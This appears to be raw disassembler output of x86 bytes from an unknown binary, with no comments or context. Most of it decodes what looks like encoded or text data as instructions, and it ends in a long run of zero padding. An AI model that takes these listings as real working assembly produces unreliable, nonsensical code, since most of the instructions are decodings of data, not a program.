pop ebx
add byte [eax], bh
inc esi
push ecx
cmp byte [esi + 0x51], al
inc edi
jo 0x4231c1
jb 0x42318f
daa
inc ecx
inc ebp
inc eax
xor al, 0x6b
js 0x423192
push ebp
cmp byte [ecx + 0x47], dl
jo 0x4231d1
dec esi
push 0x2c
and dl, byte [eax + ecx*2 + 0x29]
jnp 0x4231d6
add byte [edx + 0x37], dl
dec esi
ja 0x4231bb
inc ebp
dec esi
push 0x2c
and al, byte [esi + 0x48]
add byte [ebx + 0x2d], bh
xor esi, dword [edi]
sub eax, 0x695e3733
pop edx
jae 0x4231dc
pop esi
imul ebx, dword [edx + 0x73], 0x39685845
inc si
dec eax
pop eax
push 0x48466639
add byte [ebx + 0x61], bh
inc ebp
inc ecx
jne 0x4231a4
aas
and eax, 0x38625e68
xor bh, byte es:[ebx]
push 0x2638625e
xor bh, byte [ebx]
xor al, 0x40
popal
inc ebp
inc ecx
jne 0x4231fc
sub byte [0x317b4400], dh
jnp 0x4231eb
dec esi
pop ecx
inc ecx
inc ebp
add byte [edx + 0x3b], bh
sub eax, 0x3528484a
add byte [edi + 0x2a], cl
pop ebx
push esi
add byte fs:[ecx + 0x2a], cl
and esi, dword [eax]
pop edx
add byte [edi], dl
xor byte [edx], bl
push edi
add byte [esi + 0x4f], bl
pop esi
dec edi
sub bl, byte [ebx + 0x56]
pop eax
je 0x423232
dec edx
jnp 0x4231e4
bound eax, qword [ebx + 0x3e]
jl 0x423253
add byte [ecx + 0x58], ch
pop eax
je 0x423242
dec edx
add byte [esi], ch
dec ebx
and eax, 0x2c4f3500
and eax, 0x2a613c2a
add byte [esi], ch
dec ebx
das
cmp al, 0x61
sub al, byte [eax]
outsb dx, byte [esi]
add byte [ebx + 0x2f], cl
sub ebp, dword [edx + 0x78]
pushal
pop ecx
push edx
bound ebp, qword [ecx]
jno 0x42325d
dec ebx
jp 0x42328d
xor al, 0x2f
sub ebp, dword [edx + 0x78]
dec ebp
and ah, byte [edi]
jo 0x423290
inc edx
pop esp
and eax, 0x38003f00
add byte [edi + 0x3c], cl
cmp cl, byte [ebp + 0x22]
daa
jo 0x42329b
push eax
xor eax, 0x6c6a3c00
sub al, 0x4c
push ecx
xor dh, byte ds:[edi + 0x25]
inc esp
insb byte es:[edi], dx
outsd dx, dword [esi]
push eax
xor eax, 0x597600
xor al, 0x70
jge 0x423299
inc ebx
inc ebx
cmp al, byte [eax]
add byte [eax + 0x22], bh
dec esi
dec eax
jbe 0x4232aa
add byte [esp + esi], dh
dec ebp
xor al, 0x4d
sub eax, 0x26392757
imul edi, dword [ecx], 0x59543a
inc ecx
sub byte [eax], al
xor al, 0x4d
sub eax, 0x537a3e57
push esp
pop ecx
add byte [ecx + 0x28], al
add byte [ecx*2 + 0x7a3e572d], dh
push ebx
inc esi
add byte [edx + 0x3a], ch
jns 0x4232b7
js 0x4232a5
inc eax
push ebp
pop ebp
cmp dword [esi + edi], ebp
jp 0x4232cd
inc esi
dec dx
inc edi
push edi
dec esp
add byte [eax], al
and al, 0x4f
aas
push 0x6d
push ecx
jno 0x4232b6
dec dx
inc edi
sub edx, dword ss:[ecx + ebx*2 + 0x7c]
add byte [edi + 0x7a], ah
jle 0x4232c1
push esp
pop ecx
jl 0x423294
jp 0x423315
sub dword [ecx + 0x5a], eax
inc ecx
pop edx
and al, 0x33
dec edi
outsb dx, byte [esi]
xor ecx, dword [edi + 0x6e]
sub edx, dword ds:[ecx + ebx*2 + 0x7c]
insb byte es:[edi], dx
outsb dx, byte [esi]
inc ebp
pop ebp
and ebx, dword [eax + 0x74]
jb 0x4232ac
je 0x4232ef
js 0x4232d7
jnp 0x423311
add byte [esi + ebp*2 + 0x45], ch
pop ebp
push edi
sub eax, 0x596f23
xor byte [edx], cl
cmp ebp, dword ds:[eax + eax + 0x64]
cmp ebp, dword [eax + eax + 0x64]
push ebx
cmp dword [edi + 0x2d], edx
and ebp, dword [edi + 0x44]
and al, 0x4b
dec ebx
insd dword es:[di], dx
pop edi
push esi
jle 0x423348
sub byte [eax], al
das
pop ebp
jae 0x423320
and al, 0x4b
outsd dx, dword [si]
jbe 0x42334e
jle 0x423332
inc edx
jp 0x42331e
pop edi
xor eax, 0x67783f58
outsd dx, dword [esi]
jbe 0x42335e
xor dword [eax + 0x37], ecx
ja 0x4232f8
xor eax, 0x733d38
dec edx
pop esi
jno 0x423331
xor dword [eax + 0x37], ecx
ja 0x423336
sub edi, dword [eax]
add byte [edx], bh
xor byte [ecx + 0x68], cl
and ebx, dword [ecx + 0x59]
pop ecx
sub dword es:[ecx], esi
pop ebx
sub edi, dword cs:[eax]
add byte [edi + 0x65], ch
add byte [ecx + 0x4a], cl
dec ecx
dec edx
jne 0x423363
bound ebx, qword gs:[ecx + 0x3b]
pop esp
pop ecx
pushal
outsd dx, dword [esi]
add byte gs:[ecx + 0x6d], cl
inc esp
jbe 0x423397
jbe 0x423397
popaw
dec ebx
cmp ch, byte [ebx + esi*2]
jnp 0x423385
add byte [ebp + 0x44], ch
dec edi
pop eax
popal
sub esp, dword [edx + 0x65]
push ebx
bound esp, qword [ebp + 0x53]
xor al, byte [eax]
dec esp
pop ecx
cmp dword [eax], eax
dec ebp
and ah, byte [edi + ecx*2 + 0x58]
popal
xor byte ss:[esi + 0x7d], cl
inc eax
and ah, byte [ebx + 0x3d]
inc ebx
inc ecx
jp 0x423363
cmp eax, 0x7a4143
add byte [edx], ah
jae 0x4233d7
xor byte ss:[esi + 0x7d], cl
dec ebp
dec esi
arpl word [eax], bp
jo 0x4233ab
cmp ebp, dword [eax]
insb byte es:[edi], dx
inc ecx
sub dword [ebx + 0x2f], esp
push ecx
add byte [ebp + 0x4e], cl
arpl word [eax], bp
pop ebx
pop ecx
dec ecx
push eax
jl 0x4233de
inc ebx
arpl word [eax + 0x5e], ax
cmp byte [esi], bh
jns 0x4233b2
pop esi
pop ebx
pop ecx
dec ecx
push eax
push esp
add byte [edi + 0x2a], dl
popal
jns 0x4233c4
and dword [edx], esi
push ebx
jp 0x4233fe
push esp
add byte [edi + 0x2a], dl
jnp 0x4233a9
pop eax
add byte ds:[eax + eax + 0x63], ch
jns 0x423422
xor ebp, dword [edi + 0x21]
inc ebp
jnp 0x4233b9
pop eax
inc eax
inc esi
add byte [eax + 0x22], al
push 0x6b
xor eax, 0x29384952
dec ecx
cmp byte [ecx], ch
dec ebx
add byte ss:[eax + 0x40], bh
inc esi
add byte [eax + 0x5d], al
push ebx
insd dword es:[edi], dx
push eax
xor al, 0x2f
inc edi
ja 0x423424
insb byte es:[edi], dx
sub eax, 0x506b7533
push eax
pop ebp
push ebx
insd dword es:[edi], dx
push eax
inc esp
add byte [ebp + 0x5c], ah
xor byte [esi], bh
jl 0x423426
and eax, 0x6268776f
push 0
inc esp
add byte [ebp + 0x5c], ah
and al, 0x25
add byte [esi], bh
cmp al, 0x37
pop esp
dec esi
xor eax, dword [eax]
je 0x423470
inc edi
outsb dx, byte [esi]
push ecx
and al, 0x25
add byte [esi], bh
xor eax, 0x43717123
push edi
and dh, byte [edx + 0x33]
and eax, 0x65697943
aas
xor eax, 0x78717123
jnp 0x42349d
je 0x42347e
add byte [eax], al
xor byte [ebp + 0x55], ch
imul esp, dword [edi + esi], 0x784b5700
jnp 0x4234ad
je 0x423465
pop esp
xor al, 0x31
dec eax
inc eax
add byte [0x23390047], dh
pop ebx
xor dword [esi], esi
pop esp
xor al, 0x90
add esp, 0x24
pop ebx
pop esi
ret
inc edi
pop edx
pop esi
xor al, 0x4c
bound edi, qword [ebx + 0x6c]
add byte [edi], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
dec ecx
xor bh, byte [edx]
dec ebp
push edi
jge 0x423487
js 0x4234db
pop ecx
add byte [edi + 0x51], ah
dec ecx
and dword [ecx + 0x32], ecx
cmp cl, byte [ebp + 0x57]
jge 0x423497
js 0x4234eb
pop ecx
add byte [edi + 0x51], ah
dec ecx
and dword [eax], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 0x5d], ah
inc edx
sub al, 0x21
add byte [ebx], dh
insb byte es:[edi], dx
bound ecx, qword [ecx + 0x31]
xor eax, 0x6200003d
pop ebp
inc edx
sub al, 0x21
add byte [ebx], dh
insb byte es:[edi], dx
bound ecx, qword [ecx + 0x31]
xor eax, 0x3d
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x79], al
imul ecx, dword [ebp + 0x7a], 0x23787b6a
add byte [eax + 0x3d], dh
jo 0x42352a
sub al, 0x49
pop eax
inc ebp
jns 0x42355c
dec ebp
jp 0x423560
jnp 0x423570
and esp, dword [esi]
jo 0x42353a
sub al, 0x49
pop eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
and edi, dword ds:[esi]
jle 0x423515
dec esp
pop edi
add byte [esi + 0x38], ah
bound eax, qword [eax]
xor ecx, dword [esp + ecx*2 + 0x41]
and edi, dword ds:[esi]
jle 0x423525
dec esp
pop edi
add byte [esi + 0x38], ah
bound eax, qword [eax]
xor ecx, dword [esp + ecx*2 + 0x41]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc ebp
insd dword es:[edi], dx
dec esp
sub byte [edx + 0x52], ch
jae 0x423548
add byte cs:[esi + 0x4b], al
push ebx
push ebx
push 0x6f
inc ebp
insd dword es:[edi], dx
dec esp
sub byte [edx + 0x52], ch
jae 0x423558
add byte cs:[esi + 0x4b], al
push ebx
push ebx
push 0x6f
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor al, 0
jnp 0x4235d3
dec ebx
sub dword [ecx], esp
js 0x4235dd
cmp bh, byte [edx]
jne 0x4235a6
cmp esi, dword [eax + eax]
jnp 0x4235e3
dec ebx
sub dword [ecx], esp
js 0x4235ed
cmp bh, byte [edx]
jne 0x4235b6
cmp eax, dword [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + eax + 0x4f], cl
inc eax
bound eax, qword [eax]
dec esi
imul ebp, dword [esi + 0x43], 0x2f320032
push edi
imul ecx, dword [eax + eax + 0x4f], 0x40
bound eax, qword [eax]
dec esi
imul ebp, dword [esi + 0x43], 0x2f320032
push edi
imul eax, dword [eax], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push ecx
pop eax
push ebx
inc esp
cmp al, 0x7e
push ebx
sub byte [ebp + 0x57], ah
sub al, 0
je 0x42362c
dec esi
bound edi, qword [0x44535851]
inc esp
cmp al, 0x7e
push ebx
sub byte [ebp + 0x57], ah
sub al, 0
je 0x42363c
dec esi
bound edi, qword [0]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
